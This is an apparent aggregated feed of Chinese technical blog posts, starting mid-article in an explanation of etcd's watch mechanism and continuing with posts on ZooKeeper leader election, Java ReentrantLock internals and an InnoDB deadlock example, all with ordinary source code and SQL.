
watcherGauge.Inc()

return wa, func() { s.cancelWatcher(wa) }
}

第二种情况,取消请求

先调用 watchStream.Cancel() 把 watcher cancel 掉,然后从 serverWatchStream 的几个 map 中移除掉对应数据,并发送一个带 Canceled 标记的消息给 sendLoop 以同步watcherID列表

case *pb.WatchRequest_CancelRequest:
if uv.CancelRequest != nil {
id := uv.CancelRequest.WatchId
err := sws.watchStream.Cancel(mvcc.WatchID(id))
if err == nil {
                    // 对应第一部分的ctrl stream
sws.ctrlStream <- &pb.WatchResponse{
Header:   sws.newResponseHeader(sws.watchStream.Rev()),
WatchId:  id,
Canceled: true,
}
sws.mu.Lock()
delete(sws.progress, mvcc.WatchID(id))
delete(sws.prevKV, mvcc.WatchID(id))
delete(sws.fragment, mvcc.WatchID(id))
sws.mu.Unlock()
}
}
func (ws *watchStream) Cancel(id WatchID) error {
ws.mu.Lock()
cancel, ok := ws.cancels[id]
w := ws.watchers[id]
ok = ok && !ws.closed
ws.mu.Unlock()

if !ok {
return ErrWatcherNotExist
}
cancel()

ws.mu.Lock()
if ww := ws.watchers[id]; ww == w {
delete(ws.cancels, id)
delete(ws.watchers, id)
}
ws.mu.Unlock()

return nil
}

5.4. watcher

在etcd中,watcher可以分为三类:

  • Synced Watcher:监听的数据已同步完毕,等待新变更。适用于未指定或指定了未来版本号的watcher。
  • Unsynced Watcher:数据落后于最新变更,正在追赶。适用于指定了过去版本号的watcher。
  • Victim Watcher: 用于处理推送失败事件,需异步重试。

image.png 上述的watcher 实现,由下面代码可知,unsynced和synced 都是watcherGroup

type watchableStore struct {

    ...
// victims are watcher batches that were blocked on the watch channel
victims []watcherBatch
victimc chan struct{}

// contains all unsynced watchers that needs to sync with events that have happened
unsynced watcherGroup

// contains all synced watchers that are in sync with the progress of the store.
// The key of the map is the key that the watcher watches on.
synced watcherGroup

}

watcherGroup 如下所示:

单key -> watcher 使用map

监听 key 范围、key 前缀 -> watcher 使用区间树,区间树对范围查找是olog(n)

// watcherGroup is a collection of watchers organized by their ranges
type watcherGroup struct {
// keyWatchers has the watchers that watch on a single key
keyWatchers watcherSetByKey
// ranges has the watchers that watch a range; it is sorted by interval
ranges adt.IntervalTree
// watchers is the set of all watchers
watchers watcherSet
}

type watcherSetByKey map[string]watcherSet

添加watcher

// add puts a watcher in the group.
func (wg *watcherGroup) add(wa *watcher) {
    wg.watchers.add(wa)
    if wa.end == nil {
        wg.keyWatchers.add(wa)
        return
    }

    // interval already registered?
    ivl := adt.NewStringAffineInterval(string(wa.key), string(wa.end))
    if iv := wg.ranges.Find(ivl); iv != nil {
        iv.Val.(watcherSet).add(wa)
        return
    }

    // not registered, put in interval tree
    ws := make(watcherSet)
    ws.add(wa)
    wg.ranges.Insert(ivl, ws)
}

5.5. mvcc kv

下面的代码展示上一张图的两个循环是如何启动的

func NewServer(cfg config.ServerConfig) (srv *EtcdServer, err error) {
    ...
    srv = &EtcdServer{
        ...
}
    // 将 mvcc 中的 KV 对象赋值给了 srv
    srv.kv = mvcc.New(srv.Logger(), srv.be, srv.lessor, mvccStoreConfig)
}


func New(lg *zap.Logger, b backend.Backend, le lease.Lessor, cfg StoreConfig) WatchableKV {
return newWatchableStore(lg, b, le, cfg)
}

func newWatchableStore(lg *zap.Logger, b backend.Backend, le lease.Lessor, cfg StoreConfig) *watchableStore {
if lg == nil {
lg = zap.NewNop()
}
s := &watchableStore{
store:    NewStore(lg, b, le, cfg),
victimc:  make(chan struct{}, 1),
unsynced: newWatcherGroup(),
synced:   newWatcherGroup(),
stopc:    make(chan struct{}),
}
s.store.ReadView = &readView{s}
s.store.WriteView = &writeView{s}
if s.le != nil {
// use this store as the deleter so revokes trigger watch events
s.le.SetRangeDeleter(func() lease.TxnDelete { return s.Write(traceutil.TODO()) })
}
s.wg.Add(2)
    // 这里启动了两个 goroutine,分别是 syncWatchersLoop 和 syncVictimsLoop
    // 历史事件推送
go s.syncWatchersLoop()
    // 异常场景推送
go s.syncVictimsLoop()
return s
}

而推送大致可以分为三类:

syncWatchersLoop:历史事件推送

syncVictimsLoop:异常场景重试

notify:最新事件推送

5.6. notify

notify 主要实现最新事件推送

image.png 当你创建完成 watcher 后,执行 put hello 修改操作时,如流程图所示,请求会经过 KVServer、Raft 模块后最终Apply 到状态机,在 MVCC 的 put 事务中,它会将本次修改的后的 mvccpb.KeyValue 保存到一个 changes 数组中。

如下面的代码所示,在 put 事务结束后,它会将 Key,Value 转换成 Event 事件,然后回调 watchableStore.notify 函数(流程 5)

func (tw *storeTxnWrite) put(key, value []byte, leaseID lease.LeaseID) {
// 省略其他逻辑
tw.s.kvindex.Put(key, idxRev)
tw.changes = append(tw.changes, kv) // 将本次修改的后的 mvccpb.KeyValue 保存到一个 changes 数组中。
}

func (tw *watchableStoreTxnWrite) End() {
changes := tw.Changes()
if len(changes) == 0 {
tw.TxnWrite.End()
return
}

rev := tw.Rev() + 1
evs := make([]mvccpb.Event, len(changes))
    // 将本次事务中的 cahnges 转换成 event
for i, change := range changes {
evs[i].Kv = &changes[i]
if change.CreateRevision == 0 {
evs[i].Type = mvccpb.DELETE
evs[i].Kv.ModRevision = rev
} else {
evs[i].Type = mvccpb.PUT
}
}

tw.s.mu.Lock()
tw.s.notify(rev, evs) // 调用 notify 方法,通知 watchStream
tw.TxnWrite.End()
tw.s.mu.Unlock()
}

notify 会匹配出监听过此 key 并处于 synced watcherGroup 中的 watcher,同时事件中的版本号要大于等于 watcher 监听的最小版本号,才能将事件发送到此 watcher 的事件 channel 中。

notify 中如果发送失败后会将 watcher 添加到 victimGroup 中。这里的发送失败主要是由于 ch 阻塞,导致没发出去,也就是图中的事件堆积

// server/storage/mvcc/watchable_store_txn.go 434 行
func (s *watchableStore) notify(rev int64, evs []mvccpb.Event) {
victim := make(watcherBatch)
    // event 事件进行批量化处理,根据watcher进行分类
    // 然后遍历,一个一个推送
    // 找到key 对应的watch
for w, eb := range newWatcherBatch(&s.synced, evs) {
if eb.revs != 1 {
s.store.lg.Panic(
"unexpected multiple revisions in watch notification",
zap.Int("number-of-revisions", eb.revs),
)
}
if w.send(WatchResponse{WatchID: w.id, Events: eb.evs, Revision: rev}) {
pendingEventsGauge.Add(float64(len(eb.evs)))
} else {
            // 如果推送失败了就加入到 victim 列表中。
// move slow watcher to victims
w.minRev = rev + 1
w.victim = true
victim[w] = eb
s.synced.delete(w)
slowWatcherGauge.Inc()
}
}
s.addVictim(victim)
}




// 批量找到key对应的watcer
func newWatcherBatch(wg *watcherGroup, evs []mvccpb.Event) watcherBatch {
if len(wg.watchers) == 0 {
return nil
}

wb := make(watcherBatch)
for _, ev := range evs {
        // 通过key 查找watcher
for w := range wg.watcherSetByKey(string(ev.Kv.Key)) {
if ev.Kv.ModRevision >= w.minRev {
// don't double notify
wb.add(w, ev)
}
}
}
return wb
}
func (w *watcher) send(wr WatchResponse) bool {
progressEvent := len(wr.Events) == 0
// 首先是根据 filter 方法,过滤掉不关心的 even
if len(w.fcs) != 0 {
ne := make([]mvccpb.Event, 0, len(wr.Events))
for i := range wr.Events {
filtered := false
for _, filter := range w.fcs {
if filter(wr.Events[i]) {
filtered = true
break
}
}
if !filtered {
ne = append(ne, wr.Events[i])
}
}
wr.Events = ne
}

// if all events are filtered out, we should send nothing.
if !progressEvent && len(wr.Events) == 0 {
return true
}
select {
//然后发送出去
case w.ch <- wr:
return true
default:
return false
}
}

实际上这里的 watcher 就是前面 recvLoop 中收到 create 请求时创建的 watcher,具体如下:

func (ws *watchStream) Watch(id WatchID, key, end []byte, startRev int64, fcs ...FilterFunc) (WatchID, error) {
    // 上文中的 watcher 就是这里创建的,而 watcher.ch 实际就是 watchStream.ch
w, c := ws.watchable.watch(key, end, startRev, id, ws.ch, fcs...)
}

因此实际上所有的 event 被发送到了 watchStream.ch

然后 sendLoop 不断从 watchStream.ch 中取出 event 并发送给 client

5.7. syncWatchersLoop

syncWatchersLoop 主要负责历史事件推送

notify 只会处理在 synced watcherGroup 中的 watcher ,如果不在则无法立即接收到 event

notify 只用于推送最新事件,如果 watcher 还有旧 event 没有推送,而直接推送最新 event 势必无法保证 event 的先后顺序,因此 notify 中只处理了 synced watcherGroup 中的 watcher

为了保证效率,notify 也没有从 blotdb 中把对应 watcher 的所有 event 都查询出来再进行推送

而 syncWatchersLoop 就是负责处理 unsynced 中的 watcher,将这些 watcher 的历史 event 全部推送给 sendLoop,然后将其移动到 synced watcherGroup,以便下次 notify 时就能直接处理

// server/storage/mvcc/watchable_store.go 211行
func (s *watchableStore) syncWatchersLoop() {
defer s.wg.Done()

for {
s.mu.RLock()
st := time.Now()
lastUnsyncedWatchers := s.unsynced.size()
s.mu.RUnlock()

unsyncedWatchers := 0
if lastUnsyncedWatchers > 0 {
unsyncedWatchers = s.syncWatchers()
}
syncDuration := time.Since(st)

waitDuration := 100 * time.Millisecond
// more work pending?
if unsyncedWatchers != 0 && lastUnsyncedWatchers > unsyncedWatchers {
// be fair to other store operations by yielding time taken
waitDuration = syncDuration
}

select {
case <-time.After(waitDuration):
case <-s.stopc:
return
}
}
}

每过 100ms 就会对 unsynced watcher 进行一次同步。

具体同步逻辑在s.syncWatchers()方法中:

1)从 unsynced watcher group 中选取一组 watcher

2)遍历这组 watcher 得到 minimum revision,并移除掉已经被压缩的 watcher

3)根据第二步中查询到的 minimum revision 查询 键值对并发送这些事件给 watchers

4)最后对这组 watcher 进行判断,若同步完成了就将其从 unsynced watcher group 中移动到 synced watcher group 中

// server/storage/mvcc/watchable_store.go 326行
func (s *watchableStore) syncWatchers() int {
s.mu.Lock()
defer s.mu.Unlock()

if s.unsynced.size() == 0 {
return 0
}

s.store.revMu.RLock()
defer s.store.revMu.RUnlock()

curRev := s.store.currentRev
compactionRev := s.store.compactMainRev

wg, minRev := s.unsynced.choose(maxWatchersPerSync, curRev, compactionRev)
minBytes, maxBytes := newRevBytes(), newRevBytes()
revToBytes(revision{main: minRev}, minBytes)
revToBytes(revision{main: curRev + 1}, maxBytes)

tx := s.store.b.ReadTx()
tx.RLock()
revs, vs := tx.UnsafeRange(schema.Key, minBytes, maxBytes, 0)
evs := kvsToEvents(s.store.lg, wg, revs, vs)

tx.RUnlock()

victims := make(watcherBatch)
wb := newWatcherBatch(wg, evs)
for w := range wg.watchers {
w.minRev = curRev + 1

eb, ok := wb[w]
if !ok {
s.synced.add(w)
s.unsynced.delete(w)
continue
}

if eb.moreRev != 0 {
w.minRev = eb.moreRev
}

if w.send(WatchResponse{WatchID: w.id, Events: eb.evs, Revision: curRev}) {
pendingEventsGauge.Add(float64(len(eb.evs)))
} else {
w.victim = true
}

if w.victim {
victims[w] = eb
} else {
if eb.moreRev != 0 {
// stay unsynced; more to read
continue
}
s.synced.add(w)
}
s.unsynced.delete(w)
}
s.addVictim(victims)

vsz := 0
for _, v := range s.victims {
vsz += len(v)
}
slowWatcherGauge.Set(float64(s.unsynced.size() + vsz))

return s.unsynced.size()
}

5.8. syncVictimsLoop

syncVictimsLoop 主要负责异常场景重试。

每过 10ms 或者收到通知信息就进行一次循环,尝试处理因消息堆积发送异常而加入到 victimc 列表中的 watcher。 尝试再次把这些 watcher 相关 event 推送出去以清空 victimc 列表

// server/storage/mvcc/watchable_store.go 243行
func (s *watchableStore) syncVictimsLoop() {
defer s.wg.Done()

for {
        // 10ms 调用一次
for s.moveVictims() != 0 {
// try to update all victim watchers
}
s.mu.RLock()
isEmpty := len(s.victims) == 0
s.mu.RUnlock()

var tickc <-chan time.Time
if !isEmpty {
tickc = time.After(10 * time.Millisecond)
}

select {
case <-tickc:
case <-s.victimc:
case <-s.stopc:
return
}
}
}

moveVictims 逻辑比较简单,就是一个遍历尝试发送,然后把发送失败的再添加 victims。

推送成功后根据 revision 进行判断,该将 watcher 添加到哪个 group:

  • 如果追上了最新 revision 就添加到 syncedGroup
  • 没追上就添加到 unsyncedGroup
// server/storage/mvcc/watchable_store.go 269行
func (s *watchableStore) moveVictims() (moved int) {
s.mu.Lock()
    // 这里先把原victims用临时变量存一下
victims := s.victims
    // 然后清空原victims
s.victims = nil
s.mu.Unlock()

var newVictim watcherBatch
    // 直接就是一个遍历发送
for _, wb := range victims {
// try to send responses again
for w, eb := range wb {
// watcher has observed the store up to, but not including, w.minRev
rev := w.minRev - 1
if w.send(WatchResponse{WatchID: w.id, Events: eb.evs, Revision: rev}) {
pendingEventsGauge.Add(float64(len(eb.evs)))
} else {
                // 还是发送失败就临时加入到 newVictim 列表
if newVictim == nil {
newVictim = make(watcherBatch)
}
newVictim[w] = eb
continue
}
moved++
}

// assign completed victim watchers to unsync/sync
s.mu.Lock()
s.store.revMu.RLock()
curRev := s.store.currentRev
for w, eb := range wb {
if newVictim != nil && newVictim[w] != nil {
// couldn't send watch response; stays victim
continue
}
w.victim = false
if eb.moreRev != 0 {
w.minRev = eb.moreRev
}
// 根据 reversion 进行判断,如果追上了就添加到 syncedGroup 
            // 没追上就添加到 unsyncedGroup
if w.minRev <= curRev {
s.unsynced.add(w)
} else {
slowWatcherGauge.Dec()
s.synced.add(w)
}
}
s.store.revMu.RUnlock()
s.mu.Unlock()
}
    // 最后再把本次发送失败的追加到 s.victims 列表中
if len(newVictim) > 0 {
s.mu.Lock()
s.victims = append(s.victims, newVictim)
s.mu.Unlock()
}

return moved
}

6. q & a

q1: 事件是如何存储的? 会保留多久?

Etcd v2 使用固定容量的环形数组存储历史事件,导致在高写入量或网络波动时容易丢失事件和执行全量同步。etcd v3 的MVCC机制将key的历史版本持久化存储在boltdb中,支持重启后数据恢复和通过压缩策略管理历史版本数。

q2: 当 client 和 server 端出现事件堆积时,server 端会丢弃事件吗?若你监听的历史版本号 server 端不存在了,你的代码该如何处理?

不会丢弃,会放到一个victims watcher 里面,进行重试。

若 watcher 监听的版本号已经小于当前 etcd server 压缩的版本号,历史变更数据就可能已丢失,因此 etcd server 会返回 ErrCompacted 错误给 client。client 收到此错误后,需重新获取数据最新版本号后,再次 Watch。

q3: 如果你创建了上万个 watcher 监听 key 变化,当 server 端收到一个写请求后,etcd 是如何根据变化的 key 快速找到监听它的 watcher 呢?一个个遍历 watcher 吗?

使用map和区间树快速查找

by 热爱学习的路人甲 at January 23, 2025 04:56 PM

Zookeeper(23)Zookeeper的选举机制是什么?

Zookeeper 的选举机制是确保在集群中始终有一个唯一的 Leader。Leader 负责处理所有的写请求和协调事务的提交,而 Follower 负责处理读请求和转发写请求给 Leader。选举机制的核心是 Zookeeper Atomic Broadcast (Zab) 协议,它确保在发生节点故障或网络分区时,能够快速而可靠地选出新的 Leader。

Zookeeper 选举机制详细介绍

  1. 初始选举

    • 当 Zookeeper 集群启动时,所有节点开始进行 Leader 选举。每个节点都会发起一次投票,投票的候选人是自己。节点将自己的投票发送给其他所有节点。
    • 每个节点接收到其他节点的投票后,会根据投票的逻辑(如节点 ID 或事务日志的 zxid)进行比较,并选择一个优先级最高的节点作为 Leader。
  2. 选举过程

    • 投票初始化:每个节点将自己初始化为投票候选人,并将自己的投票信息(包括节点 ID 和 zxid)发送给其他所有节点。
    • 接收投票:每个节点接收到其他节点的投票后,进行投票比较,选择优先级最高的投票作为当前投票。
    • 投票比较:比较投票时,优先比较 zxid(事务日志的最大 zxid),如果 zxid 相同,则比较节点 ID,节点 ID 较大的投票获胜。
    • 投票更新:如果节点接收到的投票优先级高于当前投票,则更新当前投票,并将新的投票发送给其他节点。
    • 投票统计:当一个节点接收到多数节点(超过半数)的相同投票时,该节点确认该投票对应的节点为 Leader。
  3. Leader 确认

    • 当一个节点确认自己成为 Leader 或接收到的投票对应的节点成为 Leader 时,节点进入相应的角色(Leader 或 Follower),并开始正常工作。

代码示例

以下代码示例展示了如何使用 Zookeeper 客户端进行 Leader 选举的模拟。

1. 添加 Maven 依赖

pom.xml 中添加 Zookeeper 客户端的依赖:

<dependency>
    <groupId>org.apache.zookeeper</groupId>
    <artifactId>zookeeper</artifactId>
    <version>3.6.3</version>
</dependency>

2. Leader 选举模拟

以下代码示例展示了如何使用 Zookeeper 客户端进行 Leader 选举的模拟。

import org.apache.zookeeper.*;
import org.apache.zookeeper.data.Stat;

import java.io.IOException;
import java.util.Collections;
import java.util.List;

public class LeaderElection implements Watcher {
    private static final String ZK_ADDRESS = "localhost:2181";
    private static final int SESSION_TIMEOUT = 3000;
    private static final String ELECTION_NAMESPACE = "/election";
    
    private ZooKeeper zooKeeper;
    private String currentNode;

    public void connect() throws IOException {
        zooKeeper = new ZooKeeper(ZK_ADDRESS, SESSION_TIMEOUT, this);
    }

    public void createElectionZNode() throws KeeperException, InterruptedException {
        String zNodePrefix = ELECTION_NAMESPACE + "/n_";
        currentNode = zooKeeper.create(zNodePrefix, new byte[]{}, ZooDefs.Ids.OPEN_ACL_UNSAFE, CreateMode.EPHEMERAL_SEQUENTIAL);
        System.out.println("Created znode: " + currentNode);
    }

    public void volunteerForLeadership() throws KeeperException, InterruptedException {
        List<String> children = zooKeeper.getChildren(ELECTION_NAMESPACE, false);
        Collections.sort(children);

        String smallestChild = children.get(0);
        if (currentNode.endsWith(smallestChild)) {
            System.out.println("I am the leader.");
            return;
        }

        String watchNode = null;
        for (int i = children.size() - 1; i >= 0; i--) {
            if (currentNode.endsWith(children.get(i))) {
                watchNode = children.get(i - 1);
                break;
            }
        }

        if (watchNode != null) {
            Stat stat = zooKeeper.exists(ELECTION_NAMESPACE + "/" + watchNode, this);
            if (stat == null) {
                volunteerForLeadership();
            } else {
                System.out.println("Watching node: " + watchNode);
            }
        }
    }

    @Override
    public void process(WatchedEvent event) {
        if (event.getType() == Event.EventType.NodeDeleted) {
            try {
                volunteerForLeadership();
            } catch (KeeperException | InterruptedException e) {
                e.printStackTrace();
            }
        }
    }

    public void close() throws InterruptedException {
        if (zooKeeper != null) {
            zooKeeper.close();
        }
    }

    public static void main(String[] args) throws Exception {
        LeaderElection leaderElection = new LeaderElection();
        leaderElection.connect();

        leaderElection.createElectionZNode();
        leaderElection.volunteerForLeadership();

        Thread.sleep(Long.MAX_VALUE);

        leaderElection.close();
    }
}

详细解释

  1. 连接 Zookeeper 集群

    • connect 方法中,创建一个新的 Zookeeper 客户端实例,并通过 Watcher 监听连接状态。
  2. 创建选举节点

    • createElectionZNode 方法中,使用 zooKeeper.create 方法创建一个带有前缀的临时顺序节点。该节点用于选举过程中的排序和比较。
  3. 参与选举

    • volunteerForLeadership 方法中,获取选举节点的子节点列表,并进行排序。
    • 如果当前节点是列表中的第一个节点,则当前节点成为 Leader。
    • 否则,找到比当前节点小的前一个节点,并对其进行监听(Watcher)。如果前一个节点被删除(Leader 失效),则重新进行选举。
  4. 事件处理

    • process 方法中,处理节点删除事件(前一个节点被删除),重新进行选举。
  5. 关闭连接

    • close 方法中,关闭 Zookeeper 客户端连接。

总结

Zookeeper 的选举机制通过 Zab 协议确保在集群中始终有一个唯一的 Leader。Leader 负责处理所有的写请求和协调事务的提交,而 Follower 负责处理读请求和转发写请求给 Leader。通过上述代码示例,可以了解如何使用 Zookeeper 客户端进行 Leader 选举的模拟,包括连接集群、创建选举节点、参与选举、处理事件以及关闭连接。

by Victor356 at January 23, 2025 04:24 PM

juejin article

博客记录-day079-ReentrantLock详解+MySQL死锁

一、Java全栈知识体系-JUC锁: ReentrantLock详解

1、ReentrantLock源码分析

1.1 类的继承关系

ReentrantLock实现了Lock接口,Lock接口中定义了lock与unlock相关操作,并且还存在newCondition方法,表示生成一个条件。

public class ReentrantLock implements Lock, java.io.Serializable

1.2 类的内部类

ReentrantLock总共有三个内部类,并且三个内部类是紧密相关的,下面先看三个类的关系。

image

说明: ReentrantLock类内部总共存在Sync、NonfairSync、FairSync三个类,NonfairSync与FairSync类继承自Sync类,Sync类继承自AbstractQueuedSynchronizer抽象类。下面逐个进行分析。

  • Sync类

Sync类的源码如下:

abstract static class Sync extends AbstractQueuedSynchronizer {
    // 序列号
    private static final long serialVersionUID = -5179523762034025860L;
    
    // 获取锁
    abstract void lock();
    
    // 非公平方式获取
    final boolean nonfairTryAcquire(int acquires) {
        // 当前线程
        final Thread current = Thread.currentThread();
        // 获取状态
        int c = getState();
        if (c == 0) { // 表示没有线程正在竞争该锁
            if (compareAndSetState(0, acquires)) { // 比较并设置状态成功,状态0表示锁没有被占用
                // 设置当前线程独占
                setExclusiveOwnerThread(current); 
                return true; // 成功
            }
        }
        else if (current == getExclusiveOwnerThread()) { // 当前线程拥有该锁
            int nextc = c + acquires; // 增加重入次数
            if (nextc < 0) // overflow
                throw new Error("Maximum lock count exceeded");
            // 设置状态
            setState(nextc); 
            // 成功
            return true; 
        }
        // 失败
        return false;
    }
    
    // 试图在共享模式下获取对象状态,此方法应该查询是否允许它在共享模式下获取对象状态,如果允许,则获取它
    protected final boolean tryRelease(int releases) {
        int c = getState() - releases;
        if (Thread.currentThread() != getExclusiveOwnerThread()) // 当前线程不为独占线程
            throw new IllegalMonitorStateException(); // 抛出异常
        // 释放标识
        boolean free = false; 
        if (c == 0) {
            free = true;
            // 已经释放,清空独占
            setExclusiveOwnerThread(null); 
        }
        // 设置标识
        setState(c); 
        return free; 
    }
    
    // 判断资源是否被当前线程占有
    protected final boolean isHeldExclusively() {
        // While we must in general read state before owner,
        // we don't need to do so to check if current thread is owner
        return getExclusiveOwnerThread() == Thread.currentThread();
    }

    // 新生一个条件
    final ConditionObject newCondition() {
        return new ConditionObject();
    }

    // Methods relayed from outer class
    // 返回资源的占用线程
    final Thread getOwner() {        
        return getState() == 0 ? null : getExclusiveOwnerThread();
    }
    // 返回状态
    final int getHoldCount() {            
        return isHeldExclusively() ? getState() : 0;
    }

    // 资源是否被占用
    final boolean isLocked() {        
        return getState() != 0;
    }

    /**
        * Reconstitutes the instance from a stream (that is, deserializes it).
        */
    // 自定义反序列化逻辑
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        setState(0); // reset to unlocked state
    }
}  

Sync类存在如下方法和作用如下。

image

  • NonfairSync类

NonfairSync类继承了Sync类,表示采用非公平策略获取锁,其实现了Sync类中抽象的lock方法,源码如下:

// 非公平锁
static final class NonfairSync extends Sync {
    // 版本号
    private static final long serialVersionUID = 7316153563782823691L;

    // 获得锁
    final void lock() {
        if (compareAndSetState(0, 1)) // 比较并设置状态成功,状态0表示锁没有被占用
            // 把当前线程设置独占了锁
            setExclusiveOwnerThread(Thread.currentThread());
        else // 锁已经被占用,或者set失败
            // 以独占模式获取对象,忽略中断
            acquire(1); 
    }

    protected final boolean tryAcquire(int acquires) {
        return nonfairTryAcquire(acquires);
    }
}

说明: 从lock方法的源码可知,每一次都尝试获取锁,而并不会按照公平等待的原则进行等待,让等待时间最久的线程获得锁。

  • FairSyn类

FairSync类也继承了Sync类,表示采用公平策略获取锁,其实现了Sync类中的抽象lock方法,源码如下:

// 公平锁
static final class FairSync extends Sync {
    // 版本序列化
    private static final long serialVersionUID = -3000897897090466540L;

    final void lock() {
        // 以独占模式获取对象,忽略中断
        acquire(1);
    }

    /**
        * Fair version of tryAcquire.  Don't grant access unless
        * recursive call or no waiters or is first.
        */
    // 尝试公平获取锁
    protected final boolean tryAcquire(int acquires) {
        // 获取当前线程
        final Thread current = Thread.currentThread();
        // 获取状态
        int c = getState();
        if (c == 0) { // 状态为0
            if (!hasQueuedPredecessors() &&
                compareAndSetState(0, acquires)) { // 不存在已经等待更久的线程并且比较并且设置状态成功
                // 设置当前线程独占
                setExclusiveOwnerThread(current);
                return true;
            }
        }
        else if (current == getExclusiveOwnerThread()) { // 状态不为0,即资源已经被线程占据
            // 下一个状态
            int nextc = c + acquires;
            if (nextc < 0) // 超过了int的表示范围
                throw new Error("Maximum lock count exceeded");
            // 设置状态
            setState(nextc);
            return true;
        }
        return false;
    }
}

说明: 跟踪lock方法的源码可知,当资源空闲时,它总是会先判断sync队列(AbstractQueuedSynchronizer中的数据结构)是否有等待时间更长的线程,如果存在,则将该线程加入到等待队列的尾部,实现了公平获取原则。其中,FairSync类的lock的方法调用如下,只给出了主要的方法。

image

说明: 可以看出只要资源被其他线程占用,该线程就会添加到sync queue中的尾部,而不会先尝试获取资源。这也是和Nonfair最大的区别,Nonfair每一次都会尝试去获取资源,如果此时该资源恰好被释放,则会被当前线程获取,这就造成了不公平的现象,当获取不成功,再加入队列尾部。

1.3 类的属性

ReentrantLock类的sync非常重要,对ReentrantLock类的操作大部分都直接转化为对Sync和AbstractQueuedSynchronizer类的操作。

public class ReentrantLock implements Lock, java.io.Serializable {
    // 序列号
    private static final long serialVersionUID = 7373984872572414699L;    
    // 同步队列
    private final Sync sync;
}

1.4 类的构造函数

  • ReentrantLock()型构造函数

默认是采用的非公平策略获取锁

public ReentrantLock() {
    // 默认非公平策略
    sync = new NonfairSync();
}
  • ReentrantLock(boolean)型构造函数

可以传递参数确定采用公平策略或者是非公平策略,参数为true表示公平策略,否则,采用非公平策略:

public ReentrantLock(boolean fair) {
    sync = fair ? new FairSync() : new NonfairSync();
}

1.5 核心函数分析

通过分析ReentrantLock的源码,可知对其操作都转化为对Sync对象的操作,由于Sync继承了AQS,所以基本上都可以转化为对AQS的操作。如将ReentrantLock的lock函数转化为对Sync的lock函数的调用,而具体会根据采用的策略(如公平策略或者非公平策略)的不同而调用到Sync的不同子类。

所以可知,在ReentrantLock的背后,是AQS对其服务提供了支持,由于之前我们分析AQS的核心源码,遂不再累赘。下面还是通过例子来更进一步分析源码。

2、示例分析

2.1 公平锁

import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;

class MyThread extends Thread {
    private Lock lock;
    public MyThread(String name, Lock lock) {
        super(name);
        this.lock = lock;
    }
    
    public void run () {
        lock.lock();
        try {
            System.out.println(Thread.currentThread() + " running");
            try {
                Thread.sleep(500);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        } finally {
            lock.unlock();
        }
    }
}

public class AbstractQueuedSynchronizerDemo {
    public static void main(String[] args) throws InterruptedException {
        Lock lock = new ReentrantLock(true);
        
        MyThread t1 = new MyThread("t1", lock);        
        MyThread t2 = new MyThread("t2", lock);
        MyThread t3 = new MyThread("t3", lock);
        t1.start();
        t2.start();    
        t3.start();
    }
}

运行结果(某一次):

Thread[t1,5,main] running
Thread[t2,5,main] running
Thread[t3,5,main] running

说明: 该示例使用的是公平策略,由结果可知,可能会存在如下一种时序。

image

说明: 首先,t1线程的lock操作 -> t2线程的lock操作 -> t3线程的lock操作 -> t1线程的unlock操作 -> t2线程的unlock操作 -> t3线程的unlock操作。根据这个时序图来进一步分析源码的工作流程。

  • t1线程执行lock.lock,下图给出了方法调用中的主要方法。

image

说明: 由调用流程可知,t1线程成功获取了资源,可以继续执行。

  • t2线程执行lock.lock,下图给出了方法调用中的主要方法。

image

说明: 由上图可知,最后的结果是t2线程会被禁止,因为调用了LockSupport.park。

  • t3线程执行lock.lock,下图给出了方法调用中的主要方法。

image

说明: 由上图可知,最后的结果是t3线程会被禁止,因为调用了LockSupport.park。

  • t1线程调用了lock.unlock,下图给出了方法调用中的主要方法。

image

说明: 如上图所示,最后,head的状态会变为0,t2线程会被unpark,即t2线程可以继续运行。此时t3线程还是被禁止。

  • t2获得cpu资源,继续运行,由于t2之前被park了,现在需要恢复之前的状态,下图给出了方法调用中的主要方法。

image

说明: 在setHead函数中会将head设置为之前head的下一个结点,并且将pre域与thread域都设置为null,在acquireQueued返回之前,sync queue就只有两个结点了。

  • t2执行lock.unlock,下图给出了方法调用中的主要方法。

image

说明: 由上图可知,最终unpark t3线程,让t3线程可以继续运行。

  • t3线程获取cpu资源,恢复之前的状态,继续运行。

image

说明: 最终达到的状态是sync queue中只剩下了一个结点,并且该节点除了状态为0外,其余均为null。

  • t3执行lock.unlock,下图给出了方法调用中的主要方法。

image

说明: 最后的状态和之前的状态是一样的,队列中有一个空节点,头节点为尾节点均指向它。

使用公平策略和Condition的情况可以参考上一篇关于AQS的源码示例分析部分,不再累赘。

二、小林-图解MySQL

1、死锁的发生

本次案例使用存储引擎 Innodb,隔离级别为可重复读(RR)。

接下来,我用实战的方式来带大家看看死锁是怎么发生的。

我建了一张订单表,其中 id 字段为主键索引,order_no 字段普通索引,也就是非唯一索引:

CREATE TABLE `t_order` (
  `id` int NOT NULL AUTO_INCREMENT,
  `order_no` int DEFAULT NULL,
  `create_date` datetime DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `index_order` (`order_no`) USING BTREE
) ENGINE=InnoDB ;

然后,先 t_order 表里现在已经有了 6 条记录:

图片

假设这时有两事务,一个事务要插入订单 1007 ,另外一个事务要插入订单 1008,因为需要对订单做幂等性校验,所以两个事务先要查询该订单是否存在,不存在才插入记录,过程如下:

可以看到,两个事务都陷入了等待状态(前提没有打开死锁检测),也就是发生了死锁,因为都在相互等待对方释放锁。

这里在查询记录是否存在的时候,使用了 select ... for update 语句,目的为了防止事务执行的过程中,有其他事务插入了记录,而出现幻读的问题。

如果没有使用 select ... for update 语句,而使用了单纯的 select 语句,如果是两个订单号一样的请求同时进来,就会出现两个重复的订单,有可能出现幻读,如下图:

2、为什么会产生死锁?

可重复读隔离级别下,是存在幻读的问题。

Innodb 引擎为了解决「可重复读」隔离级别下的幻读问题,就引出了 next-key 锁,它是记录锁和间隙锁的组合。

  • Record Lock,记录锁,锁的是记录本身;
  • Gap Lock,间隙锁,锁的就是两个值之间的空隙,以防止其他事务在这个空隙间插入新的数据,从而避免幻读现象。

普通的 select 语句是不会对记录加锁的,因为它是通过 MVCC 的机制实现的快照读,如果要在查询时对记录加行锁,可以使用下面这两个方式:

begin;
//对读取的记录加共享锁
select ... lock in share mode;
commit; //锁释放

begin;
//对读取的记录加排他锁
select ... for update;
commit; //锁释放

行锁的释放时机是在事务提交(commit)后,锁就会被释放,并不是一条语句执行完就释放行锁。

